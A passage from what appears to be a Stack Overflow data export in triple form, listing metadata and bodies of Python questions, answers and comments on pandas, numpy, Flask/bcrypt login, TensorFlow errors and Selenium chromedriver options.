Anaconda 2.0.1 installer export PATH="/Users/myname/anaconda/bin:$PATH" # added by Anaconda 2.1.0 installer export PATH="/Users/myname/anaconda/bin:$PATH" # added by Anaconda2 4.1.1 installer export PATH="/Users/myname/anaconda/bin:$PATH" # added by Anaconda3 5.0.0 installer export PATH="/Users/myname/anaconda3/bin:$PATH" What do I need to change so that chronjobs are run with 3.6?
has comment: http://stackoverflow.com/comment/84468390
tagged with: python-2.7
tagged with: bash
has comment: http://stackoverflow.com/comment/84468573
tagged with: python-3.x
type: Question
has answer: http://stackoverflow.com/a/48734964
tagged with: python
has comment: http://stackoverflow.com/comment/84468701
score: 0
linked to: http://stackoverflow.com/q/6908143
answer count: 1
has title: Python2.7 being called from command line on cronjobs instead of 3.6
has comment: http://stackoverflow.com/comment/84468389

http://stackoverflow.com/a/48750148
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48749889
has body: Are you looking for something like this? def do_something( i ): import foo f = getattr( foo, 'func'+str(i) ) return f() print( do_something(1) ) # hello print( do_something(2) ) # world you can access an attribute via string by using the oldfashion getattr-function. This will take a object and a string, which you can create during runtime. docs: getattr(object, name[, default]) EDIT (sorry, completely missread the question) you can simply use import foo and then call the functions with: foo.funct1() # hello foo.funct2() # world
score: 1
downvote count: 0

http://stackoverflow.com/q/48737976
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48738010
has title: User Login Flask and Bcrypt
accepted answer: http://stackoverflow.com/a/48738010
answer count: 1
tagged with: flask
has body: I'm trying to implement user login using flask, I have setup a MySQL database that registers users and stores hashed passwords. The issue arises when trying to authenticate user login. The error is "TypeError: Unicode-objects must be encoded before checking",even when I've done so. # user login @app.route('/login',methods=['GET','POST']) def login(): if request.method == 'POST': # Get Fields Username &amp; Password # Client Side Login &amp; Validation handled by wtforms in register class username = request.form['username'] usr_entered = request.form['password'] cursor = cnx.cursor(dictionary=True,buffered=True) # Get User By Username cursor.execute("SELECT * FROM users WHERE username =%s", [username]) if cursor is not None: # Get Stored Hased and Salted password - Need to change fetch one to only return the one username data =cursor.fetchone() password = data['password'] # Compare Password with hashed password- Bcrypt if bcrypt.checkpw(usr_entered.encode('utf-8'),password): #if (usr_entered==password): app.logger.info('Password Matched') session['logged_in'] = True session['username'] = username flash('You are now logged in','success') return redirect(url_for('dashboard')) # Close Connection cursor.close() else: error = 'Invlaid Username or Password' return render_template('login.html',error=error) else: error = 'Username not found' return render_template('login.html', error=error) return render_template('login.html')
tagged with: python
score: 0
tagged with: bcrypt
tagged with: authentication
type: Question

http://stackoverflow.com/comment/84459052
type: AnswerComment
type: Comment
has text: thanks alot , as it is a typo error .should i delete the question ?
score: 0
comment on: http://stackoverflow.com/a/48729981

http://stackoverflow.com/comment/84434996
type: QuestionComment
has text: Still not working. I did have to install with pip because homebrew gave me this error: Warning: Calling <<-EOS.undent is deprecated!
score: 0
comment on: http://stackoverflow.com/q/48717810
type: Comment

http://stackoverflow.com/comment/84439205
type: Comment
comment on: http://stackoverflow.com/a/48719701
has text: Wait let me try. The issue was the name of my file itself was numpy.py. SO now my original installation is affected just give me some time
score: 1
type: AnswerComment

http://stackoverflow.com/a/48674091
has comment: http://stackoverflow.com/comment/84346682
type: Answer
accepted answer of: http://stackoverflow.com/q/48673900
downvote count: 1
has comment: http://stackoverflow.com/comment/107631927
answers question: http://stackoverflow.com/q/48673900
upvote count: 23
has comment: http://stackoverflow.com/comment/101070676
has body: I ran into a problem trying to get the API to do what I wanted, and really just needed JSON data including urls and captions for images for a specific account. Use the following GET request: https://www.instagram.com/account_name/?__a=1 where account_name is the profile I'm scraping. It returns all JSON I needed for my task.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/128298194
score: 22
has comment: http://stackoverflow.com/comment/100932078
has comment: http://stackoverflow.com/comment/106493723

http://stackoverflow.com/q/48708980
favorite count: 0
has comment: http://stackoverflow.com/comment/84504564
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
answer count: 0
tagged with: tensor
upvote count: 3
tagged with: tensorflow
type: Question
has comment: http://stackoverflow.com/comment/84617631
score: 3
has comment: http://stackoverflow.com/comment/84417088
has body: I'm new in tensorflow and try to create a model that will predict the X and Y coordinates based INPUT which consists of 86 variables that determine the strength of the signal received from the 86 scans located in the building. I have 340 test data. I parsed them and put them in two .csv files. The first set contains the ordered signal strengths. I saved it as data.csv. data.csv The second file contains the coordinates on which the meter was at that time. I saved it as labes.csv. labels.csv I have already created a model, but unfortunately its accuracy changes only two training steps. If I want to make tf.summary.merge_all(), this error will appear: Error message. If I remove this line, the training goes to a successful end, but accuracy does not change except for the first two steps: training steps Error message here: Nan in summary histogram for: Biases [[Node: Biases = HistogramSummary[T=DT_FLOAT, _device="/job:localhost/replica:0/task:0/device:CPU:0"](Biases/tag, Bias/read)]] Caused by op 'Biases', defined at: File "E:\Programy\Microsoft Visual Studio 14.0\Common7\IDE\Extensions\Microsoft\Python Tools for Visual Studio\2.2\visualstudio_py_launcher.py", line 78, in vspd.debug(filename, port_num, debug_id, debug_options, run_as) File "E:\Programy\Microsoft Visual Studio 14.0\Common7\IDE\Extensions\Microsoft\Python Tools for Visual Studio\2.2\visualstudio_py_debugger.py", line 2483, in debug exec_file(file, globals_obj) File "E:\Programy\Microsoft Visual Studio 14.0\Common7\IDE\Extensions\Microsoft\Python Tools for Visual Studio\2.2\visualstudio_py_util.py", line 111, in exec_file exec_code(code, file, global_variables) File "E:\Programy\Microsoft Visual Studio 14.0\Common7\IDE\Extensions\Microsoft\Python Tools for Visual Studio\2.2\visualstudio_py_util.py", line 87, in exec_code exec(code_obj, global_variables) File "C:\Users\Tesi\documents\visual studio 2015\Projects\LocationDetectionTensorflow\LocationDetectionTensorflow\LocationDetectionTensorflow.py", line 41, …
has title: TensorFlow, predict predict X,Y location from rssi input
has comment: http://stackoverflow.com/comment/84470290
downvote count: 0
tagged with: training-data
has comment: http://stackoverflow.com/comment/84431065

http://stackoverflow.com/comment/84301000
has text: Yes, a will have the same depth. It has to be: `{"a": {"a": {"a": "Hello", "b": "bye"}}}`
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48650681

http://stackoverflow.com/a/48803743
type: AcceptedAnswer
type: Answer
upvote count: 4
downvote count: 0
has body: When parsing your document, the resulting ElementTree object should have a DocInfo object that contains information about the XML or HTML document parsed. For XML, you may be interested in the xml_version and encoding attributes of this DocInfo: &gt;&gt;&gt; from lxml import etree &gt;&gt;&gt; tree = etree.parse('input.xml') &gt;&gt;&gt; tree.docinfo &lt;lxml.etree.DocInfo object at 0x7f8111f9ecc0&gt; &gt;&gt;&gt; tree.docinfo.xml_version '1.0' &gt;&gt;&gt; tree.docinfo.encoding 'UTF-8'
accepted answer of: http://stackoverflow.com/q/48803562
answers question: http://stackoverflow.com/q/48803562
score: 4

http://stackoverflow.com/q/48704922
downvote count: 0
has comment: http://stackoverflow.com/comment/84408276
favorite count: 0
tagged with: python
linked to: http://stackoverflow.com/q/17901218
has answer: http://stackoverflow.com/a/48705058
accepted answer: http://stackoverflow.com/a/48705058
possible better answer: http://stackoverflow.com/a/48705060
type: AnsweredQuestion
score: 3
has body: I have a merged df which has 2 experiment IDs - experiment_a and experiment_b They are in the general nomenclature EXPT_YEAR_NUM but some have add ons, of do not have a year instead of some other value. In this df where there is a value in experiment_a, experiment_b = NaN, and vice versa. ie: experiment_a experiment_b EXPT_2011_06 NaN NaN EXPT_2011_07 How do I sort so that the ascending values of experiment_a and _b are together, instead of it ascending on experiment_a with _b having all NaN values, then ascending with experiment_b when experiment_a have NaN values? This is what happens when i use sort_values: df = df.sort_values(['experiment_a', 'experiment_b']) It clearly just sorts _a first, then _b.
upvote count: 3
has title: Sort pandas dataframe based on two columns that are similar but one will be NaN if the other has a value
type: Question
has answer: http://stackoverflow.com/a/48705060
answer count: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/84408136

http://stackoverflow.com/q/48734779
tagged with: python
has title: Read csv files from multiple folders using a for loop
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/48735061
has body: My code will read from a csv file and perform multiple operations/calculations then create another csv file, i have 8 folders to read/write from and i want my code to iterate through them one by one lets say i have folders named Folder1 to Folder8, first of all how do i specify my code to read from a different directory instead of the default one where the python script exists? this is part of my code #read the columns from CSV MAXCOLS = Number_Of_Buses + 1 Bus_Vol = [[] for _ in range(MAXCOLS)] with open('p_voltage_table_output.csv', 'rb') as input: for row in csv.reader(input, delimiter=','): for i in range(MAXCOLS): Bus_Vol[i].append(row[i] if i &lt; len(row) else '') for i in xrange(1,MAXCOLS): dummy=0 #print('Bus_Vol[{}]: {}'.format(i, Bus_Vol[i])) i want to be able to specify the directory folder to folder1 and also iterate through folder1 to folder8 which all have the same csv file with the same name
accepted answer: http://stackoverflow.com/a/48735061
tagged with: python-2.7
type: AnsweredQuestion
type: Question
tagged with: http://stackoverflow.com/tag/csv
tagged with: path

http://stackoverflow.com/a/53762537
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/97296457
has body: Please refer below details: para1 = document.add_paragraph("Hello World") para2 = document.add_paragraph("Testing!!") p1 = para1._p p1.addnext(para2._p) Reference
answers question: http://stackoverflow.com/q/48663788
downvote count: 0
type: Answer

http://stackoverflow.com/a/48813770
score: 1
answers question: http://stackoverflow.com/q/48800024
accepted answer of: http://stackoverflow.com/q/48800024
upvote count: 1
type: AcceptedAnswer
has body: Use numpy facilities for a more readable and more efficient way: def density(arr,x0,y0,size): xb=x0-size//2 yb=y0-size//2 return arr[xb:,yb:][:size,:size].mean() This correctly manages borders in the sense you want : In [46]: density(arr,603,603,9) Out[46]: 743.0 In [47]: arr Out[47]: array([[ 73, 197, 311, ..., 952, 477, 138], [751, 93, 291, ..., 983, 167, 599], [ 54, 666, 380, ..., 456, 466, 754], ..., [186, 737, 829, ..., 929, 28, 923], [136, 408, 193, ..., 844, 649, 927], [477, 411, 458, ..., 64, 173, 743]])
type: Answer
downvote count: 0

http://stackoverflow.com/a/48752669
score: 0
has comment: http://stackoverflow.com/comment/84506105
has body: l = [(3072, 128), (128, ), (128, 64)] a = np.array(l, dtype=object) print np.amax(np.amax(a)) # 3072
answers question: http://stackoverflow.com/q/48752583
type: Answer

http://stackoverflow.com/comment/84511756
type: QuestionComment
has text: Please give more information on what you are trying to achieve
comment on: http://stackoverflow.com/q/48755289
score: 0
type: Comment

http://stackoverflow.com/comment/84334570
type: QuestionComment
type: Comment
has text: I have updated the description with the URL's fed into driver.get(). There is no output in the command prompt showing any form of error description. I have put a print("Done") between the driver.get() and time.sleep(3) to see if it gets past this stage - it doesn't. It navigates to the page fed to the get() call, but doesn't proceed with the code after doing so.
comment on: http://stackoverflow.com/q/48666620
score: 0

http://stackoverflow.com/comment/84344930
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/48672429
has text: @JoshuaPeacham Okay, I simply assumed. It's kind of crazy that you found `globals()["value%d"%n] = val` without learning dicts first. (`globals()` actually returns a dictionary!)
type: Comment

http://stackoverflow.com/q/48754509
has comment: http://stackoverflow.com/comment/84509894
downvote count: 1
accepted answer: http://stackoverflow.com/a/48754624
has comment: http://stackoverflow.com/comment/84509922
has comment: http://stackoverflow.com/comment/84510279
has answer: http://stackoverflow.com/a/48754743
has title: Enforce Type for foreach loop in Python?
upvote count: 0
has comment: http://stackoverflow.com/comment/84510179
has comment: http://stackoverflow.com/comment/84510136
has comment: http://stackoverflow.com/comment/84509700
has body: I am rather new to Python but I do have a degree in computer science so it's just a matter of learning the quirks of this language. Got the following function: @staticmethod def count_class_instance_based_on_attribute_value(data, attribute, attribute_value, classification): count = 0 for val in data: if val.get_attribute_value(attribute) == attribute_value: if val.m_Class == classification: count = count + 1 return count When I write in PyCharm I wanna of course make use of code completition and other intellisense like features. But when I do the for loop in that function, I cannot figure out how to enforce that val should be a specific type (or class) that I made so I can be sure that the get_attribute_value() function can actually be called in the first place. As things are now, I can just pray and hope. Is there some way around this?
has comment: http://stackoverflow.com/comment/84509726
possible better answer: http://stackoverflow.com/a/48754743
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84510453
score: -1
favorite count: 0
has comment: http://stackoverflow.com/comment/84510355
has comment: http://stackoverflow.com/comment/84510404
has answer: http://stackoverflow.com/a/48754624
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84509752
has comment: http://stackoverflow.com/comment/84509801
tagged with: python
has comment: http://stackoverflow.com/comment/84509841
has comment: http://stackoverflow.com/comment/84509875
has comment: http://stackoverflow.com/comment/84509805

google-maps
tags question: http://stackoverflow.com/q/48694822
tag name: google-maps
tags question: http://stackoverflow.com/q/48681655
type: Tag
tags question: http://stackoverflow.com/q/48771033
tags question: http://stackoverflow.com/q/48757245

http://stackoverflow.com/comment/84570035
score: 3
comment on: http://stackoverflow.com/q/48783749
type: Comment
type: QuestionComment
has text: Possible duplicate of [How to remove specific elements in a numpy array](https://stackoverflow.com/questions/10996140/how-to-remove-specific-elements-in-a-numpy-array)

http://stackoverflow.com/comment/84455431
score: 0
type: AnswerComment
has text: So I can write something up to from 0 to 255
type: Comment
comment on: http://stackoverflow.com/a/48728070

http://stackoverflow.com/q/48713989
tagged with: pandas
has comment: http://stackoverflow.com/comment/84427156
answer count: 1
favorite count: 0
has body: I have a code looking like this: series_tmp = pd.Series() series_tmp["date"] = pd.Timestamp(str(msg.date)) series_tmp["Timestamp_downloaded"] = pd.Timestamp.now(self._timezone_to_use) series_tmp["contract_str"] = contract_str_now series_tmp["open"] = float(msg.open) series_tmp["high"] = float(msg.high) series_tmp["low"] = float(msg.low) series_tmp["close"] = float(msg.close) series_tmp["volume"] = float(msg.volume) series_tmp["count"] = float(msg.count) series_tmp["WAP"] = float(msg.WAP) series_tmp["hasGaps"] = float(msg.hasGaps) # print series_tmp self._df_to_record_historical_data = self._df_to_record_historical_data.append(pd.Series(series_tmp),ignore_index=True) In the end, for some reason, the date type data for the final dataframe has become some nonsense like: date 1517270400000000000 Timestamp_downloaded 1518209472212471000 contract_str ('GBL', 'FUT', 'DTB', 'EUR', '20180308', 0.0) open 158.74 high 159.18 low 158.73 close 158.91 volume 797602 count 57142 WAP 158.989 hasGaps 0 The date has become some number... What's the most easy way to correct that. Note that "date" is a time stamp, and the Timestamp_downloaded is Timestamp with specified timezone. Edit: To shed more lights into the problem: initially by doing: series_tmp = pd.Series() series_tmp["date"] = pd.Timestamp("20180101") the result is: date 2018-01-01 dtype: datetime64[ns] In [ ]: By doing: series_tmp = pd.Series() series_tmp["date"] = pd.Timestamp("20180101") series_tmp["Timestamp_downloaded"] = pd.Timestamp.now(time_zone_to_use) the timezone information is lost (I actually need to keep it): date 2018-01-01 00:00:00.000000 Timestamp_downloaded 2018-02-09 21:31:58.566041 dtype: datetime64[ns] By doing: series_tmp = pd.Series() series_tmp["date"] = pd.Timestamp("20180101") series_tmp["Timestamp_downloaded"] = pd.Timestamp.now(time_zone_to_use) series_tmp["name"] = "Name1" it becomes: date 1514764800000000000 Timestamp_downloaded 1518212057225521000 name Name1 dtype: object now, the series cannot s…
has title: mysterious conversion in pandas dataframe, how to disable that
tagged with: python
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/84427675
accepted answer: http://stackoverflow.com/a/48714667
has comment: http://stackoverflow.com/comment/84427204
type: Question
has comment: http://stackoverflow.com/comment/84427750
has comment: http://stackoverflow.com/comment/84427179
has answer: http://stackoverflow.com/a/48714667
score: -2
has comment: http://stackoverflow.com/comment/84427804
has comment: http://stackoverflow.com/comment/84427694
downvote count: 2

http://stackoverflow.com/q/48715692
answer count: 4
score: 2
has answer: http://stackoverflow.com/a/48715868
upvote count: 3
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48715882
has title: masking a python 2d array with mask values from a list
has answer: http://stackoverflow.com/a/48715855
has comment: http://stackoverflow.com/comment/84430654
downvote count: 1
has answer: http://stackoverflow.com/a/48715924
type: Question
has comment: http://stackoverflow.com/comment/84430740
tagged with: arrays
favorite count: 0
tagged with: python
has body: I have a 2d array. I need to filter the array for rows with values at a particular index. The values are from a list. Here's an example. My data: arr= [[ 1.681, 1.365, 0.105, 0.109, 0.50], [ 1.681, 1.365, 0.105, 0.109, 0.51], [ 1.681, 1.365, 0.105, 0.109, 0.52], [ 1.681, 1.365, 0.105, 0.109, 0.53], [ 1.681, 1.365, 0.105, 0.109, 0.54], [ 1.681, 1.365, 0.105, 0.109, 0.55], [ 1.681, 1.365, 0.105, 0.109, 0.56], [ 1.681, 1.365, 0.105, 0.109, 0.57], [ 1.681, 1.365, 0.105, 0.109, 0.58], [ 1.681, 1.365, 0.105, 0.109, 0.59], [ 1.681, 1.365, 0.105, 0.109, 0.60]] Let's say I want to filter for rows where the last entry is from the list 0.5,0.55,0.6. I tried making a mask as follows: &gt;&gt;&gt; mask= arr['f4'] in [0.5, 0.55, 0.6] Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: list indices must be integers, not str &gt;&gt;&gt; mask= arr['f4']==0.5 or arr['f4']==0.55 or arr['f4']==0.6 Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: list indices must be integers, not str &gt;&gt;&gt; As shown it doesn't work. Desired output is: &gt;&gt;&gt; arr_mask [[1.681, 1.365, 0.105, 0.109, 0.5], [1.681, 1.365, 0.105, 0.109, 0.55], [1.681, 1.365, 0.105, 0.109, 0.6]] Your feedback is appreciated. EDIT1: There was a question about 'f4'. That seems to come from the way I read the data from a file into the array. &gt;&gt;&gt; arr= np.genfromtxt('data.rpt',dtype=None) &gt;&gt;&gt; arr array([ ('tag', 1.681, 1.365, 0.105, 0.109, 0.5), ('tag', 1.681, 1.365, 0.105, 0.109, 0.51), ('tag', 1.681, 1.365, 0.105, 0.109, 0.52), ('tag', 1.681, 1.365, 0.105, 0.109, 0.53), ('tag', 1.681, 1.365, 0.105, 0.109, 0.54), ('tag', 1.681, 1.365, 0.105, 0.109, 0.55), ('tag', 1.681, 1.365, 0.105, 0.109, 0.56), ('tag', 1.681, 1.365, 0.105, 0.109, 0.57), ('tag', 1.681, 1.365, 0.105, 0.109, 0.58), ('tag', 1.681, 1.365, 0.105, 0.109, 0.59), ('tag', 1.681, 1.365, 0.105, 0.109, 0.6)], dtype=[('f0', 'S837'), ('f1', '&lt;f8'), ('f2', …

http://stackoverflow.com/q/48695973
type: Question
accepted answer: http://stackoverflow.com/a/48696249
has body: I am trying to figure out one simple thing - how to convert arrow.Arrow object into milliseconds. I was reading following thread but it still not clear to me how to get a long number in milliseconds. I want something like: def get_millis(time: arrow.Arrow): ... some magic goes here ... print(get_millis(time)) OUTPUT: 1518129553227 Thanks
has answer: http://stackoverflow.com/a/48696306
has answer: http://stackoverflow.com/a/61930927
favorite count: 0
tagged with: python-arrow
linked to: http://stackoverflow.com/q/35510550
answer count: 5
has answer: http://stackoverflow.com/a/53972963
has answer: http://stackoverflow.com/a/48696249
tagged with: python
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/53972963
has title: Python Arrow milliseconds
score: 6
has answer: http://stackoverflow.com/a/67951114
upvote count: 7
downvote count: 1

http://stackoverflow.com/comment/84492427
score: 1
comment on: http://stackoverflow.com/a/48745532
type: AnswerComment
has text: You can use `sum`, `median`, `count`... [Check docs](http://pandas.pydata.org/pandas-docs/stable/groupby.html#cython-optimized-aggregation-functions) also.
type: Comment

http://stackoverflow.com/q/48729365
answer count: 1
downvote count: 0
tagged with: scikit-learn
favorite count: 0
tagged with: python
type: AnsweredQuestion
score: 1
has title: Scale a particular feature in a NumPy array which have more than one features using minmaxScalar from sklearn
has answer: http://stackoverflow.com/a/48729568
upvote count: 1
type: Question
tagged with: numpy
has body: I have a numpy array with 4 features. I want to scale the second feature using sklearn's minMaxScalar. Let the features be A,B,C,D. The numpy array is [ [1,2,3,4], [5,6,7,8], [9,10,11,12], [13,14,15,16]] A----1,5,9,13 : B----2,6,10,14 : C----3,7,11,15 : D----4,8,12,16 I want to scale the second feature B i.e,----- 2 , 6 , 10 , 14 After scaling-> B---0.0 , 0.333 , 0.667 , 1.0 I did it by extracting B feature and making a new numpy array with one feature and scaling the new array. How can I do it without creating any new array by just using the already defined array?
tagged with: python-2.7
accepted answer: http://stackoverflow.com/a/48729568

http://stackoverflow.com/q/48783650
has answer: http://stackoverflow.com/a/48784010
score: 4
tagged with: pandas
has title: How to convert python list to Pandas series
downvote count: 0
answer count: 4
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48783805
has answer: http://stackoverflow.com/a/48784637
tagged with: python
has body: I have a python list l.The first few elements of the list looks like below [751883787] [751026090] [752575831] [751031278] [751032392] [751027358] [751052118] I want to convert this list to pandas.core.series.Series with 2 leading 0.My final outcome will look like 00751883787 00751026090 00752575831 00751031278 00751032392 00751027358 00751052118 I'm working in Python 3.x in windows environment.Can you suggest me how to do this? Also my list contains around 2000000 elements
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/48783744

http://stackoverflow.com/a/48723255
type: Answer
answers question: http://stackoverflow.com/q/48723087
has comment: http://stackoverflow.com/comment/84451238
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84447504
has comment: http://stackoverflow.com/comment/84445485
has comment: http://stackoverflow.com/comment/84445439
has body: try running with this options, for me (on my win machine) --no-sandbox helped. --log-path and verbose obviously helps with debugging. ch_options.add_argument('--headless') ch_options.add_argument('--disable-gpu') ch_options.add_argument('--no-sandbox') ch_options.add_argument('--log-path=chromedriver.log') ch_options.add_argument('--verbose') and for user agent (in case some websites protest): ch_options.add_argument( '--user-agent="valid user agent :)"') and starting it: driver = webdriver.Chrome(chrome_options=ch_options) my chromedriver is in PATH environmental variable so no need to pass executable in here. btw. phantomjs driver is not updated any more so try to resolve this and switch to chromedriver. I.e. for me the phantomjs driver wont even let me change user-agent, just on python binding though.
has comment: http://stackoverflow.com/comment/84445642
downvote count: 0
has comment: http://stackoverflow.com/comment/84447510
has comment: http://stackoverflow.com/comment/84445750

http://stackoverflow.com/comment/91075438
type: QuestionComment
comment on: http://stackoverflow.com/q/48802039
type: Comment
has text: I believe this question needs to be reopened, since it's about checking dependencies of a *package that hasn't yet been installed*.
score: 1

http://stackoverflow.com/comment/84301242
type: QuestionComment
has text: good spot Kasramvd cats i will edit
comment on: http://stackoverflow.com/q/48651345
score: 0
type: Comment

http://stackoverflow.com/comment/84444236
score: 0
type: QuestionComment
has text: If I pick a random port number it gives me the same error right from the beginning.
type: Comment
comment on: http://stackoverflow.com/q/48692237

http://stackoverflow.com/comment/84558648
type: QuestionComment
comment on: http://stackoverflow.com/q/48778152
score: 0
has text: [Worth reading](https://stackoverflow.com/q/1207406/364696), since what you're doing will inevitably lead to other invalid uses of iterators.
type: Comment

http://stackoverflow.com/a/48767702
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84535906
has body: First filter all samples and then filter again by isin: a = df.loc[df['mutation'] == 'mutation_C', 'sample_id'] df = df[df['sample_id'].isin(a)] print (a) 3 sample2 7 sample3 Name: sample_id, dtype: object df = df[df['sample_id'].isin(a)] print (df) sample_id mutation 3 sample2 mutation_C 4 sample2 mutation_D 5 sample3 mutation_A 6 sample3 mutation_B 7 sample3 mutation_C
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48767678
answers question: http://stackoverflow.com/q/48767678
score: 1
upvote count: 1

http://stackoverflow.com/a/48776836
answers question: http://stackoverflow.com/q/48776795
score: 0
has comment: http://stackoverflow.com/comment/84556535
type: Answer
has comment: http://stackoverflow.com/comment/84556283
has body: Save a reference, or give your other classes a way to return a reference For example, by saving a reference: thing = Thing() foo.add_item(thing) foo.move_item(thing, bar) An example that gets a reference: foo.add_item(thing) foo.move_item(foo.inventory[0], bar) Or, if you modify add_item to return the item that was added: class Foo(): ... def add_item(self, item): self.inventory.append(item) return item ... thing = foo.add_item(Thing()) foo.move_item(thing, bar)
has comment: http://stackoverflow.com/comment/84555997

http://stackoverflow.com/comment/105578655
comment on: http://stackoverflow.com/a/53184758
type: Comment
has text: You can check your architecture using `python -c "import sys; print(sys.version)"` or `python -c "import struct; print(struct.calcsize('P')*8)"`
score: 16
type: AnswerComment

http://stackoverflow.com/comment/84476842
type: Comment
type: QuestionComment
has text: @viraptor Thank you Ill update it. And answer for my original question?
comment on: http://stackoverflow.com/q/48738556
score: 0

http://stackoverflow.com/a/48800287
has comment: http://stackoverflow.com/comment/84730311
score: 1
upvote count: 1
has body: You are very close to the right answer. The regex you are looking for is 't-shirt|[a-z-]+'. A dash '-' in a range '[...]' is treated as a special symbol, unless it is the first or the last character in the brackets.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48799458

http://stackoverflow.com/a/48688307
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48685476
answers question: http://stackoverflow.com/q/48685476
upvote count: 2
type: AcceptedAnswer
has body: If you are only outputting one header row and one row of features, it is probably easiest to just create these each as a list. For example: header = ['Product Title', 'Product Price', 'Product weight', 'Product dimension', 'Product ASIN', 'Items in cart'] and, following the indexes you've described, data = [prod_title[0], prod_price[0], prod_weight[1], prod_dimension[1], prod_asin[1], items_in_cart[1]] you can than write these results like this: with open(csvfile, "w") as output: writer = csv.writer(output) writer.writerow(header) writer.writerow(data)
type: Answer
has comment: http://stackoverflow.com/comment/84374867

http://stackoverflow.com/comment/84377415
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48689488
has text: @Slashlinux Yes, however, what is the type of `id`? An `int`, a `tuple`, a `list`? It is a possibility that `id` is actually a single tuple directly from your last `fetchall()`
type: AnswerComment

http://stackoverflow.com/q/48778640
tagged with: scipy
has comment: http://stackoverflow.com/comment/84565075
type: Question
tagged with: numpy
tagged with: arrays
has comment: http://stackoverflow.com/comment/84565216
upvote count: 2
has body: I want to find the minimum-sized 2-dimensional ndarray within an ndarray that contains all values meeting a condition. For example: Let's say I have the array x = np.array([[1, 1, 5, 3, 11, 1], [1, 2, 15, 19, 21, 33], [1, 8, 17, 22, 21, 31], [3, 5, 6, 11, 23, 19]]) and call f(x, x % 2 == 0) Then the return value of the program would be the array [[2, 15, 19] [8, 17, 22] [5, 6, 11]] Because it is the smallest rectangular array that includes all the even numbers (the condition). I've found a way to find all the indices for which the condition is true by using np.argwhere and then slicing from the minimum to maximum indices from the original array, and I've done it using a for loop but I was wondering if there was a more efficient way to do it using numpy or scipy. My current method: def f(arr, cond_arr): indices = np.argwhere(cond_arr) min = np.amin(indices, axis = 0) #get first row, col meeting cond max = np.amax(indices, axis = 0) #get last row, col meeting cond return arr[min[0]:max[0] + 1, min[1] : max[1] + 1]
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48788790
accepted answer: http://stackoverflow.com/a/48788790
tagged with: python
has title: Minimum-Sized Encompassing Numpy Array (cropping)
score: 2
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/84331930
has text: JSON is a good choice for writing data structures as well. It's standardized, and is cross-language.
comment on: http://stackoverflow.com/a/48658087
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/48710711
type: Answer
has body: You could use mgrid and moveaxis: &gt;&gt;&gt; M, N = A.shape &gt;&gt;&gt; I, J = np.mgrid[:M, :N] * np.array((sx, sy))[:, None, None] &gt;&gt;&gt; np.moveaxis((I, J, A), 0, -1) array([[[ 0. , 0. , 1. ], [ 0. , 3.5, 2. ], [ 0. , 7. , 3. ]], [[ 1.5, 0. , 9. ], [ 1.5, 3.5, 8. ], [ 1.5, 7. , 7. ]]]) &gt;&gt;&gt;
score: 0
answers question: http://stackoverflow.com/q/48710508

http://stackoverflow.com/q/48719703
has answer: http://stackoverflow.com/a/48722838
favorite count: 0
has comment: http://stackoverflow.com/comment/84490579
tagged with: python
has comment: http://stackoverflow.com/comment/84441175
linked to: http://stackoverflow.com/q/14058340
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84438364
has body: I have classifier line in the form of y = mx + c. I would to generate random data points that are above and below this line. I tried using the numpy random function but I am not able figure how to specifically generate random data sets.
has comment: http://stackoverflow.com/comment/84438347
has title: Data sets generation for binary logistic regression
type: Question
tagged with: numpy
downvote count: 4
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84438638
has comment: http://stackoverflow.com/comment/84439119
score: -4

http://stackoverflow.com/comment/84557800
has text: Note that you can also zip up (and unzip) the file in Matlab, which will compress the text file very nicely. You may also find that the full text file compresses to a similar amount.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48778078
type: Comment

http://stackoverflow.com/q/48792231
has answer: http://stackoverflow.com/a/48792381
has comment: http://stackoverflow.com/comment/84586850
score: 4
linked to: http://stackoverflow.com/q/509211
favorite count: 0
tagged with: python
upvote count: 6
type: UnansweredQuestion
has title: List slicing with negative step size
downvote count: 2
has body: Why does the below code returns an empty list when it should return [4, 3, 2] (because of the negative step size): i = [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9] #[ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9] #[-10, -9, -8, -7, -6, -5, -4, -3, -2, -1] s = i[2:-5:-1] print(s)
has answer: http://stackoverflow.com/a/48793034
type: Question
has comment: http://stackoverflow.com/comment/84586716
has comment: http://stackoverflow.com/comment/84587183
has comment: http://stackoverflow.com/comment/84586939
answer count: 2

http://stackoverflow.com/a/48761300
has comment: http://stackoverflow.com/comment/84556479
type: Answer
answers question: http://stackoverflow.com/q/48761261
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48761261
